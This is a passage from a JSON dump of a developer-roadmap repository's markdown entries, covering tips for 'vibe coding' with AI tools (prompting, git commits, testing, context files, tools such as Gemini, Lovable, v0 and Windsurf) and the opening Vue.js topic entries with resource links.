    "content": "# Gemini\n\nGemini CLI is Google's command-line AI tool for developers. It assists with code generation, explanation, and refactoring directly in the terminal. It is a practical option if you are already working within Google's ecosystem or want a powerful AI assistant without switching away from your existing terminal workflow.\n\nVisit the following resources to learn more:\n\n- [@official@Google Gemini](https://gemini.google.com/)\n- [@official@Google's Gemini Documentation](https://workspace.google.com/solutions/ai/)\n- [@video@Welcome to the Gemini era](https://www.youtube.com/watch?v=_fuimO6ErKI)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/give-ai-mockups-reference-files-and-material-that-can-help-it@6kVVt2lihBW8tPGV-ll3_.md",
    "content": "# Give AI mockups, reference files, and material\n\nAlways give AI something to look at, not just something to read. Paste in existing files, attach screenshots, or link to references. The more relevant material you provide, the less it has to guess and the better the output will be."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/if-ai-fails-after-3-prompts-stop-and-start-a-fresh-chat@ikp1O_sss_6hDGl6p8LNJ.md",
    "content": "# If AI fails after 3 prompts, stop\n\nAs a rule of thumb, if the AI keeps getting something wrong after three attempts, it's better to stop and try something different. Start a fresh session and rephrase the request from scratch. A clean slate almost always works better than trying to fix a conversation that has gone off track."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/if-errors-persist-ask-al-to-create-a-list-of-possible-causes@cz--AlEn0cc2-keXeuk9g.md",
    "content": "# Ask Al to create a list of possible causes\n\nIf a bug keeps coming back after fixes, ask AI to step back and list all the possible reasons it could be happening. This forces a more systematic approach and often surfaces the real root cause instead of just patching symptoms."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/if-you-have-stylecoding-preferences-document-them-for-ai@QBeh16mppfb2s4OGt4aPy.md",
    "content": "# If you have style/coding preferences, document them for AI\n\nWrite down your preferences — folder structure, naming conventions, coding patterns — in a dedicated file (e.g., a [CLAUDE.md](http://CLAUDE.md)) and share it with AI at the start of each session. This stops you from correcting the same things over and over and keeps the code consistent throughout the project."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/if-you-need-to-revert-use-git-rather-than-ai-native-revert-functionality@upZAMDEtzq1VklqTKG5mV.md",
    "content": "# Revert with Git\n\nGit gives you precise, reliable control over your code history. AI's built-in undo features are not always trustworthy, especially when changes span multiple files. A proper Git revert takes you back to an exact saved state with no surprises."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/illustrate-ai-with-examples-mockups-code-samples-images@ODqMzOAN1je004chwATTl.md",
    "content": "# Illustrate AI with Examples\n\nShow AI what you want instead of just telling it. Attach a screenshot, a rough sketch, or a link to a website that looks like what you are trying to build. If you have code that you want AI to follow as a pattern, paste it in. Examples work much better than descriptions because AI doesn't have to guess what you mean. You can use tools like [excalidraw](https://excalidraw.com) for sketching."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/implement-spec-driven-development-sdd@O9W3d1q1yJmfRJHnfognN.md",
    "content": "# Implement Spec-Driven Development (SDD)\n\nSpec-driven development means writing a clear document that describes what you want to build before you start prompting. Instead of jumping straight into asking AI to write code, you first describe the features, the user flows, the data structure, and any important rules. You then give this document to the AI at the start of each session so it always has the full picture.\n\nVisit the following resources to learn more:\n\n- [@article@A Practical Guide to Spec-Driven Development](https://docs.zencoder.ai/user-guides/tutorials/spec-driven-development-guide)\n- [@article@Understanding Spec-Driven-Development: Kiro, spec-kit, and Tessl](https://martinfowler.com/articles/exploring-gen-ai/sdd-3-tools.html)\n- [@article@How to write a good spec for AI agents](https://addyosmani.com/blog/good-spec/)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/install-and-ask-ai-to-use-mcp-eg-playwright-for-browser-when-possible@KVb_TAsSD8Kgafij4iEXc.md",
    "content": "# Install and ask AI to use MCP\n\nMCP tools let AI interact directly with your app — for example, using Playwright to test it in a real browser. This gives AI actual visibility into what is happening rather than guessing from the code alone, which makes debugging much faster and more accurate.\n\nVisit the following resources to learn more:\n\n- [@article@What is the Model Context Protocol (MCP)?](https://modelcontextprotocol.io/docs/getting-started/intro)\n- [@article@The Future of Connected AI: What is an MCP Server and Why It Could Replace RAG Systems](https://www.hiberus.com/en/blog/the-future-of-connected-ai-what-is-an-mcp-server/)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/leverage-long-context-window-when-available-and-necessary@CMnz6UFUGbxIGSH06ZdgH.md",
    "content": "# Leverage long context windows\n\nSome AI tools allow you to paste in a lot of information at once. When working on something complex, prompt AI with all the relevant files, notes, and context at once. The more the AI understands about your project upfront, the better decisions it will make throughout the session.\n\nVisit the following resources to learn more:\n\n- [@article@Context Length Comparison: Leading AI Models in 2026](https://www.elvex.com/blog/context-length-comparison-ai-models-2026)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/lovable@5WogJrcXhNXewsXzSAME7.md",
    "content": "# Lovable\n\nLovable generates a working front-end application from a text description. It is one of the fastest ways to go from idea to something clickable. The output is good enough for early user testing but may need refinement with a code editor before it is ready for production.\n\nVisit the following resources to learn more:\n\n- [@official@Lovable](https://lovable.dev)\n- [@article@What is Lovable AI? A Deep Dive into the Builder | UI Bakery Blog](https://uibakery.io/blog/what-is-lovable-ai)\n- [@article@How I Built and Deployed an App in 2 days with Lovable, Supabase, and Netlify](https://towardsdatascience.com/how-i-built-and-deployed-an-app-in-2-days-with-lovable-supabase-and-netlify/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Master Lovable In 24 Minutes](https://www.youtube.com/watch?v=rqvtLxwMklo)\n- [@video@Master Lovable AI in 20 Minutes (NEW 2.0 UPDATE)](https://www.youtube.com/watch?v=mOak_imYmqU)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/master-version-control@q5lkCO_uGmkcJopjltg8j.md",
    "content": "# Master Version Control\n\nVersion control is the system you use to track changes to your code over time. Version control tools like Git are especially important for vibe coders because AI can sometimes make sweeping changes that break things unexpectedly, and having a recent save point means you never lose too much progress.\n\nVisit the following resources to learn more:\n\n- [@article@Git Guardian: Why Version Control is Non-Negotiable in Vibe Coding](https://verityai.co/blog/vibe-coding-version-control)\n- [@video@Vibe Coding Course 7 – Version Control Basics (Git)](https://www.youtube.com/watch?v=qUE-nVUrpq4)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/never-hardcode-or-credentials-use-env-variables-instead@aRnpJbSUg_rr9Z00RafYt.md",
    "content": "# Always use env variables\n\nAPI keys, passwords, and tokens should never appear directly in your code. Store them in a `.env` file using environment variables, and make sure that file is listed in `.gitignore` so it never gets pushed to GitHub accidentally."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/once-tests-are-in-place-refactor-regularly@9BSermDg6ODL2MSRQiDZo.md",
    "content": "# Once tests are in place, refactor regularly\n\nGood tests give you the freedom to clean up and reorganize the code without fear of breaking things. Once your test suite is in place, make refactoring a regular habit and let the tests tell you immediately if anything goes wrong."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/pick-a-popular-tech-stack-rather-than-newniche-ones@7mAZMKyiuZiEpKhrydp8J.md",
    "content": "# Pick a popular tech stack rather than new/niche ones\n\nUse popular tech stacks like React, Next.js, Tailwind, and Supabase. AI has been trained on a lot of code using these tools, so it gives better results. For mobile, desktop, or hardware projects, the same rule applies: stick to established tools. If you use something niche or very new, AI will make more mistakes, and you will spend more time fixing things. Popular stacks also have more tutorials and community support, which helps when you get stuck.\n\nVisit the following resources to learn more:\n\n- [@article@The Best Tech Stack in the Age of AI](https://thebootstrappedfounder.com/the-best-tech-stack-in-the-age-of-ai/)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/plan-before-you-code@pfgsxuQ-D7dTMPNWKG9OY.md",
    "content": "# Plan before you Code\n\nBefore you start coding with AI, have a plan. Define your MVP and break the project into phases. Don't try to build everything at once; work step by step. Give AI examples like mockups, screenshots, or code samples so it understands what you want. You can even use AI itself to help you plan. Tell it your idea, let it help you refine it, and break it into phases. Little planning at the start saves many hours of fixing later.\n\nVisit the following resources to learn more:\n\n- [@article@From vibe coding to vibe planning](https://tessl.io/blog/from-vibe-coding-to-vibe-planning/)\n- [@article@Advance Planning for AI Project Evaluation](https://towardsdatascience.com/advance-planning-for-ai-project-evaluation/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Vibe Planning: The Smarter Way to Code with AI Agents](https://www.youtube.com/watch?v=B4uD9z6i_IU)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/plan-what-you-need-to-develop-mvp-different-phases@OPHuAD0L-GZ6zRhIhbmPL.md",
    "content": "# Plan what you need to develop\n\nDon't try to build everything at once. Start with your MVP, the simplest version that works. If you are building a task manager, that might just be adding, viewing, and deleting tasks. Nothing else. Then break the rest into phases. Maybe phase two is user accounts, phase three is notifications. This way, you always have something working, and the AI gives better results when you give it smaller, focused tasks instead of asking it to build a whole app in one go.\n\nVisit the following resources to learn more:\n\n- [@article@A Structured Workflow for \"Vibe Coding\" Full-Stack Apps](https://dev.to/wasp/a-structured-workflow-for-vibe-coding-full-stack-apps-352l)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/prompt-the-error-message-and-let-ai-do-the-rest@GW5I1z7D1945AxqYHbW6F.md",
    "content": "# Prompt the error message and let AI do the rest\n\nWhen something breaks, copy the full error message and paste it directly into your prompt along with a short description of what you were doing. In most cases, this is enough for AI to find the problem and suggest a fix without any back and forth."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/prompting-best-practices@6GvIXEzWbSD8q6Qt-BsHP.md",
    "content": "# Prompting Best Practices\n\nHow you talk to AI determines the quality of what you get back. Ask for one thing at a time, be specific, show examples, tell it what to avoid, and use a context document so you don't repeat yourself every session.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Prompt Engineering Roadmap](https://roadmap.sh/prompt-engineering)\n- [@article@Vibe Coding Like A Pro](https://leonnicholls.medium.com/vibe-coding-like-a-pro-de18aa1a0cce)\n- [@video@RAG vs Fine-Tuning vs Prompt Engineering: Optimizing AI Models](https://www.youtube.com/watch?v=zYGDpG-pTho)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/regularly-ask-the-ai-to-review-and-refactor-the-codebase@NtQDPno95SYo5E88ls4v1.md",
    "content": "# Regularly ask the AI to review and refactor the codebase\n\nEvery few sessions, pause new feature work and ask AI to clean up the existing code. Over time, code gets messy, and a regular cleanup keeps the project healthy and makes it easier to keep building without things breaking unexpectedly."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/regularly-update-your-context-document-eg-claudemd@WypEm84Rr0t-IzCZiU92q.md",
    "content": "# Regularly update your context document\n\nEvery time you make an important decision about your project, add it to your context document, like your [CLAUDE.md](http://CLAUDE.md). This keeps sessions shorter, reduces repeated explanations, and saves tokens, which saves money, especially when working with agents that consume tokens fast.\n\nVisit the following resources to learn more:\n\n- [@article@Writing a good CLAUDE.md](https://www.humanlayer.dev/blog/writing-a-good-claude-md)\n- [@article@Rules Files for Safer Vibe Coding](https://www.wiz.io/blog/safer-vibe-coding-rules-files)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/replit@Ubk4GN0Z4XlDJ3EbRXdxg.md",
    "content": "# Copilot\n\nGitHub Copilot is an AI-powered coding assistant that helps you write code faster. It suggests lines of code and even entire functions as you type, learning from your style and comments to provide relevant suggestions. It's like having a coding partner that understands your intentions and helps you bring them to life.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Copilot Docs](https://docs.github.com/en/copilot)\n- [@official@Tutorials](https://docs.github.com/en/copilot/tutorials)\n- [@video@Getting started with GitHub Copilot | Tutorial](https://www.youtube.com/watch?v=n0NlxUyA7FI)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/security-best-practices@2omItZjkVFW9kMiNXdt-h.md",
    "content": "# Security Best Practices\n\nSecurity is easy to overlook when you are focused on building, but the consequences of ignoring it can be serious. Always use environment variables for sensitive information like API keys and passwords, and before going live, explicitly ask AI to audit your app for vulnerabilities.\n\nVisit the following resources to learn more:\n\n- [@article@Passing the Security Vibe Check: The Dangers of Vibe Coding](https://www.databricks.com/blog/passing-security-vibe-check-dangers-vibe-coding)\n- [@article@How to secure AI-coded (vibe coded) applications](https://dev.to/zvone187/how-to-secure-ai-coded-vibe-coded-applications-18ge)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/start-each-new-feature-with-a-clean-git-slate@ScizaxaDFQ_OBiFZ540Xs.md",
    "content": "# Start each new feature with a clean Git slate\n\nBefore asking AI to build something new, make sure all your current changes are committed. This gives you a clean checkpoint so that if the new feature causes problems, you can discard the changes and start again without any risk to what you already have."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/tech-stack-and-coding@GC4vVcOcFWE1RByD-sd4G.md",
    "content": "# Tech Stack and Coding\n\nAI works better with popular tech stacks like React, Next.js, Python, and Tailwind. If you use something niche, expect more errors. Go with what's popular. Write down your coding preferences and give them to AI before you start, otherwise it will make its own choices.\n\nAlways tell AI to keep code small and modular. It will try to put everything in one file if you let it. And do refactoring sessions regularly, ask AI to review the codebase, and clean up the mess. If you skip this, things get out of control fast."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/tell-ai-to-add-logs-to-find-the-error-faster@vnm51qAe2C1cszHfh-o6P.md",
    "content": "# Tell AI to add logs\n\nAsk AI to add log statements to the relevant parts of the code so you can see exactly what is happening at each step when the error occurs. Once you know where things go wrong, ask it to remove the logs and apply the proper fix."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/testing@4bJRhuZzVc32x2Y0gGGrh.md",
    "content": "# Testing\n\nTesting is how you make sure your app actually works the way it's supposed to. Ask AI to write tests as it builds, not after. Use E2E tests to catch real user-facing bugs, write a breaking test before fixing any bug, and refactor freely once your tests are in place."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/the-vibe-coder-mindset@LkLQ8GjBXDuw1XsrE4Cjj.md",
    "content": "# The Vibe Coder Mindset\n\nAI is more like a junior developer working next to you. You don't ask one question and leave. You have a conversation with it. You give context, check what it gives back, tell it when something is wrong, and guide it to what you need. If you explain your idea clearly, it works better.\n\nThis is very different from traditional programming, where you must know exact syntax and write everything yourself. With AI, your role changes; you become the person who directs, not the person who writes the code. You set the vision, review output, and keep the project going in the right direction. You still need to understand the basics of programming, but you don't need to memorize syntax or figure out every small detail on your own anymore.\n\nVisit the following resources to learn more:\n\n- [@article@The Unbearable Lightness of Coding](https://towardsdatascience.com/the-unbearable-lightness-of-coding/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@What is Vibe Coding?](https://www.youtube.com/watch?v=5OWurmg41tI)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/use-act-as-framing-when-helpful-eg-act-as-a-ux-researcher@h2oehkZSKfMqlVBAgt46P.md",
    "content": "# Use \"act as\" framing when helpful\n\nWhen you want a specific type of thinking, tell AI to take on a role. \"Act as a senior developer\" or \"act as a UX researcher\" shifts how it approaches your question and gives you more relevant, role-specific advice than a generic prompt would."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/use-git-commit-regularly-eg-after-every-successful-ai-task@wWs2PxN7T2-gDZNJJ1vTq.md",
    "content": "# Use git commit\n\nEvery time AI completes a task, and the result looks good, make a commit. This locks in your progress so that if the next task breaks something, you can go back to the last working version without losing any of your previous work."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/use-skills-created-by-others@bnpY9GX1BGjDPJXwTFWTX.md",
    "content": "# Use skills created by others\n\nThere is a growing ecosystem of skills — pre-built AI capabilities developed as an open standard — that you can plug into your AI tool to extend its capabilities. Before building something from scratch, check if a skill already exists for it. It saves time and often gives better results than starting from zero.\n\nVisit the following resources to learn more:\n\n- [@course@Agent Skills with Anthropic](https://www.deeplearning.ai/short-courses/agent-skills-with-anthropic/)\n- [@article@Agent Skills - Claude](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview)\n- [@article@Agents Skills](https://agentskills.io/home)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/v0@eX9-1I_hC2zwJNiBYXFu6.md",
    "content": "# v0\n\nv0 is Vercel's UI generation tool. You describe a component or screen in plain language, and it produces clean React code ready to drop into your project. It is best for generating individual UI components rather than full applications; use it when you need a specific interface element quickly without writing it from scratch.\n\nVisit the following resources to learn more:\n\n- [@official@v0](https://v0.app/)\n- [@official@Transforming how you work with v0 - Vercel](https://vercel.com/blog/transforming-how-you-work-with-v0)\n- [@video@Build a fullstack app in 7 minutes with v0 (Figma to code)](https://www.youtube.com/watch?v=cyFVtaLy-bA)\n- [@video@How To Use v0 by Vercel For Beginners](https://www.youtube.com/watch?v=41SR07p243Q)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/what-is-vibe-coding@lzHnwx_3gftRZbstk6INB.md",
    "content": "# Vibe Coding\n\n\"Vibe coding\" is a software development method in which you use AI and LLMs to generate code via natural-language prompts rather than writing it by hand. The idea is you describe what you want the application to do, and AI builds it. Good for fast prototyping. You don't need to review every line of code. Makes development faster and more accessible for people who are not traditional programmers."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/when-you-find-a-bug-ask-ai-to-write-a-breaking-test-and-then-fix@r-LrA1cGR1XMu1p2xIsN0.md",
    "content": "# Use breaking tests\n\nBefore fixing a bug, ask AI to write a test that reproduces it, that is, a test that currently fails because of the broken behavior. Then ask it to fix the code so the test passes. This confirms the fix is real and prevents the same bug from coming back silently."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/windsurf@Xsl8mx6J182TxPPtNP471.md",
    "content": "# Windsurf\n\nWindsurf is an AI-powered code editor developed by Codeium. It combines code generation, editing, and navigation in a single environment and is designed to keep context across the entire codebase rather than just the file you are working on. It is a practical alternative to Cursor for developers who want deep AI integration without leaving the editor.\n\nVisit the following resources to learn more:\n\n- [@official@Windsurf Docs](https://docs.windsurf.com/windsurf/getting-started)\n- [@video@Windsurf Tutorial for Beginners (AI Code Editor) - Better than Cursor??](https://www.youtube.com/watch?v=8TcWGk1DJVs)\n- [@video@Windsurf AI Tutorial for Beginners](https://www.youtube.com/watch?v=x1VCmB__TDo)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/work-step-by-step-rather-than-trying-to-build-everything-at-once@CJV5OV_Whoz4_7L8yhDG1.md",
    "content": "# Work step by step rather than trying to build all at once\n\nBuild one feature at a time. Ask the AI to do it, test it, make sure it works, then move to the next one. If you ask AI to build too many things at once, things will break, and you won't know why. Small steps make debugging easy because you only changed one thing, so you know exactly where the problem is."
  },
  {
    "path": "src/data/roadmaps/vue/content/api-calls@ZLlz0Azfze-8k3z8HnVvE.md",
    "content": "# API Calls\n\nThere are several options available to make API calls from your Vue.js applications.\n\nVisit the following resources to learn more:\n\n- [@article@How To Make API calls in Vue.JS Applications](https://medium.com/bb-tutorials-and-thoughts/how-to-make-api-calls-in-vue-js-applications-43e017d4dc86)\n- [@article@How to Use RapidAPI Client with Vue.js](https://rapidapi.com/guides/fetch-api-with-vue)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/api-styles@OpJ2NMKCGXQezpzURE45R.md",
    "content": "# API Styles\n\nThough Vue 2 supported many approaches to writing components, only one approach, the \"Options API\", was built in and accessible without plugins. Vue 3, retains the Options API (OAPI), and adds in the Composition API (CAPI). Composition API itself is actually a part of the Options API, but moves most of the component logic into a setup function. This led to a 3rd approach to writing components being built in called \"script/setup\", which removes much of the boilerplate from Composition API. These approaches are not mutually exclusive. Each component in your project can use any of these approaches, however for consistency it is recommended to stick primarily to one, and only deviate to one of the others when you have a good reason.\n\nVisit the following resources to learn more:\n\n- [@article@The Difference Between the Composition API and Options API in Vue](https://fjolt.com/article/vue-composition-api-vs-options-api)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/apollo@l2Rl6OQbL7kYvPlpYCZ0Z.md",
    "content": "# Apollo\n\nApollo is a platform for building a unified graph, a communication layer that helps you manage the flow of data between your application clients (such as web and native apps) and your back-end services.\n\nVisit the following resources to learn more:\n\n- [@official@Apollo Website](https://www.apollographql.com)\n- [@official@Apollo Docs](https://www.apollographql.com/docs/)\n- [@video@Apollo's YouTube Channel](https://www.youtube.com/c/ApolloGraphQL/)\n- [@video@GraphQL With React Tutorial - Apollo Client](https://www.youtube.com/watch?v=YyUWW04HwKY)\n- [@feed@Explore top posts about Apollo](https://app.daily.dev/tags/apollo?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/app-configurations@qRm08uDZW-D8QDc-9sPX8.md",
    "content": "# App Configurations\n\nEvery application instance exposes a `config` object that contains the configuration settings for that application. You can modify its properties before mounting your application.\n\nVisit the following resources to learn more:\n\n- [@official@Vue.js Documentation](https://vuejs.org/api/application.html#app-config)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/async-components@Re7tv1U0LxYqE5ShFxQSf.md",
    "content": "# Async Components\n\nIn large applications, we may need to divide the app into smaller chunks and only load a component from the server when it's needed. To make that possible, Vue has a `defineAsyncComponent` function.\n\nVisit the following resources to learn more:\n\n- [@official@Async Components](https://vuejs.org/guide/components/async.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/attribute-inheritance@4S5fVFsFDMbq05ld7n0sF.md",
    "content": "# Attribute Inheritance\n\nAttribute inheritance aka \"fallthrough attributes\" is a feature of Vue.js that allows you to inherit attributes from a parent component.\n\nVisit the following resources to learn more:\n\n- [@official@Fallthrough Attributes](https://vuejs.org/guide/components/attrs.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/axios@n5IlN-wv4k0r16CvhoSpD.md",
    "content": "# Axios\n\nAxios is a client HTTP API based on the XMLHttpRequest interface provided by browsers. The most common way for frontend programs to communicate with servers is through the HTTP protocol. You are probably familiar with the Fetch API and the XMLHttpRequest interface, which allows you to fetch resources and make HTTP requests.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started with Axios](https://axios-http.com/docs/intro)\n- [@article@How to make HTTP requests with Axios](https://blog.logrocket.com/how-to-make-http-requests-like-a-pro-with-axios/#why)\n- [@feed@Explore top posts about Axios](https://app.daily.dev/tags/axios?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/binding-events@b7iXwtUnELg_ShbCyTrNA.md",
    "content": "# Binding Events\n\nVue.js is an open-source Model–View–ViewModel front-end JavaScript framework for building user interfaces and single-page applications. Vue.js has many own directives for DOM manipulation such as v-bind, v-on, v-model, etc. Binding events is an essential part of creating interactive applications. You can bind events using the v-on directive or its shorthand, the @ symbol.\n\nVisit the following resources to learn more:\n\n- [@official@Binding Events](https://vuejs.org/guide/essentials/event-handling)"
  },
  {
    "path": "src/data/roadmaps/vue/content/capacitor@IsNzCdS05tbAK0D1zz0Sf.md",
    "content": "# Capacitor\n\nSince Vue.js is a web framework, it does not natively support mobile app development. So how do we get access to native mobile features such as the camera and geolocation? Ionic has an official native runtime called Capacitor. With Capacitor’s plugin, you can access the native API of the device your app is running on and build truly native mobile application with Ionic Vue.\n\nVisit the following resources to learn more:\n\n- [@article@Building Cross-Platform Apps with Capacitor and Vue.js](https://blog.logrocket.com/building-cross-platform-apps-with-capacitor-and-vue-js/)\n- [@article@Building Mobile Apps With Capacitor And Vue.js](https://www.smashingmagazine.com/2018/07/mobile-apps-capacitor-vue-js/)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/component-registration@2HhKifjuDcP3eKpanRMEQ.md",
    "content": "# Component Registration\n\nA Vue component needs to be \"registered\" so that Vue knows where to locate its implementation when it is encountered in a template. There are two ways to register components: global and local.\n\nVisit the following resources to learn more:\n\n- [@official@Component Registration](https://vuejs.org/guide/components/registration.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/components@0EevuyZiyty3X3Jzpjl4y.md",
    "content": "# Components\n\nComponents allow us to split the UI into independent and reusable pieces, and think about each piece in isolation.\n\nVisit the following resources to learn more:\n\n- [@official@Components Basics](https://vuejs.org/guide/essentials/component-basics.html)\n- [@official@Components in Depth](https://vuejs.org/guide/components/registration.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/composition-api@a0qwdQTunxEjQ9A5wpF-q.md",
    "content": "# Composition API\n\nVue offers many approaches for how to write components, including the \"Composition API\", which is most commonly used via \"Script Setup\". This approach is based around pulling in low level atomic functions used by Vue's reactivity engine. By composing these low level functions together, you can craft your own system for writing components. One feature this allows for is extending reactivity outside of components. This means you can extract your custom functions for reuse in multiple components. When reusing reactive logic, your functions are called \"composables\". \n\nVisit the following resources to learn more:\n\n- [@official@TypeScript with Composition API](https://vuejs.org/guide/typescript/composition-api.html)\n- [@official@Composition API FAQ](https://vuejs.org/guide/extras/composition-api-faq.html)\n- [@official@Composition API](https://vuejs.org/api/#composition-api)\n- [@article@Vue 3 Composition API](https://www.thisdot.co/blog/vue-3-composition-api-ref-and-reactive)\n- [@feed@Explore top posts about Vue.js](https://app.daily.dev/tags/vuejs?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/computed-properties@Bx1Atxcf15AEaA1BiSIc6.md",
    "content": "# Computed Properties\n\nIn-template expressions are very convenient, but they are meant for simple operations. Putting too much logic in your templates can make them bloated and hard to maintain. Computed properties allow us to simplify the complex logic that includes reactive data.\n\nVisit the following resources to learn more:\n\n- [@official@Computed Properties](https://vuejs.org/guide/essentials/computed.html#computed-properties)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/conditional-rendering@tU4Umtnfu01t9gLlnlK6b.md",
    "content": "# Conditional Rendering\n\nThe directive `v-if` is used to conditionally render a block. The block will only be rendered if the directive's expression returns a truthy value.\n\nVisit the following resources to learn more:\n\n- [@official@Conditional Rendering](https://vuejs.org/guide/essentials/conditional.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/create-vue@y9ToYDix-koRbR6FLydFw.md",
    "content": "# create-vue\n\ncreate-vue is a CLI tool that helps you create a new Vue project with a single command. It is a simple and easy-to-use tool that saves you time and effort when setting up a new Vue project.\n\nLearn more using the following resources:\n\n- [@opensource@vuejs/create-vue](https://github.com/vuejs/create-vue)\n- [@official@Quick Start | Vue.js](https://vuejs.org/guide/quick-start.html)\n- [@feed@Explore top posts about Vue.js](https://app.daily.dev/tags/vuejs?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/custom-directives@br1r8KIf5KInY5mk2xhA6.md",
    "content": "# Custom Directives\n\nSo far you may have covered two forms of code reuse in Vue: components and composables. Components are the main building blocks, while composables are focused on reusing stateful logic. Custom directives, on the other hand, are mainly intended for reusing logic that involves low-level DOM access on plain elements.\n\nVisit the following resources to learn more:\n\n- [@official@Custom Directives](https://vuejs.org/guide/reusability/custom-directives.html)\n- [@official@Composables](https://vuejs.org/guide/reusability/composables.html)\n- [@official@Components](https://vuejs.org/guide/essentials/component-basics.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/cypress@JbMKUVDMUygjXXmhndHVs.md",
    "content": "# Cypress\n\nCypress framework is a JavaScript-based end-to-end testing framework built on top of Mocha – a feature-rich JavaScript test framework running on and in the browser, making asynchronous testing simple and convenient. It also uses a BDD/TDD assertion library and a browser to pair with any JavaScript testing framework.\n\nVisit the following resources to learn more:\n\n- [@official@Cypress Website](https://www.cypress.io/)\n- [@official@Cypress Documentation](https://docs.cypress.io/guides/overview/why-cypress#Other)\n- [@video@Cypress End-to-End Testing](https://www.youtube.com/watch?v=7N63cMKosIE)\n- [@feed@Explore top posts about Cypress](https://app.daily.dev/tags/cypress?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/debugging@dxwKfBxd5KYVkfEPMdHp-.md",
    "content": "# Debugging\n\nDebugging in Vue.js involves identifying and fixing issues in your Vue applications. It’s an essential part of the development process, and there are several tools and techniques you can use to effectively debug your Vue code.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging Documentation](https://vuejs.org/v2/cookbook/debugging-in-vscode.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/directives@CGdw3PqLRb9OqFU5SqmE1.md",
    "content": "# Directives\n\nDirectives are special attributes with the `v-` prefix. Vue provides a number of built-in directives.\n\nVisit the following resources to learn more:\n\n- [@official@Directives Documentation](https://vuejs.org/guide/essentials/template-syntax.html#directives)\n- [@official@Built-in Directives](https://vuejs.org/api/built-in-directives.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/element-ui@NMIh8rqLM5P-Uk65uHATn.md",
    "content": "# Element UI\n\nElement UI is another Vue.js component library with several built-in components to style your Vue.js applications.\n\nVisit the following resources to learn more:\n\n- [@official@Element UI Website](https://element-plus.org/en-US/)\n- [@official@Getting Started - Element UI](https://element-plus.org/en-US/guide/design.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/error--warn-handler@1oIt_5OK-t2WaCgaYt9A8.md",
    "content": "# Error / Warn Handler\n\nDebugging in Vue.js involves identifying and fixing issues in your Vue applications. It’s an essential part of the development process, and there are several tools and techniques you can use to effectively debug your Vue code.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging Documentation](https://vuejs.org/v2/cookbook/debugging-in-vscode.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/event-handling@4p6Gh2fMPA8hls_mWa5HR.md",
    "content": "# Events Handling\n\nWhen you build a dynamic website with Vue you'll most likely want it to be able to respond to events. For example, if a user clicks a button, submits a form, or even just moves their mouse, you may want your Vue site to respond somehow.\n\nVisit the following resources to learn more:\n\n- [@official@Event Handling in Vue.js](https://vuejs.org/guide/essentials/event-handling.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/event-modifiers@Aaf7eA-5sbAD5Cs1MbdTQ.md",
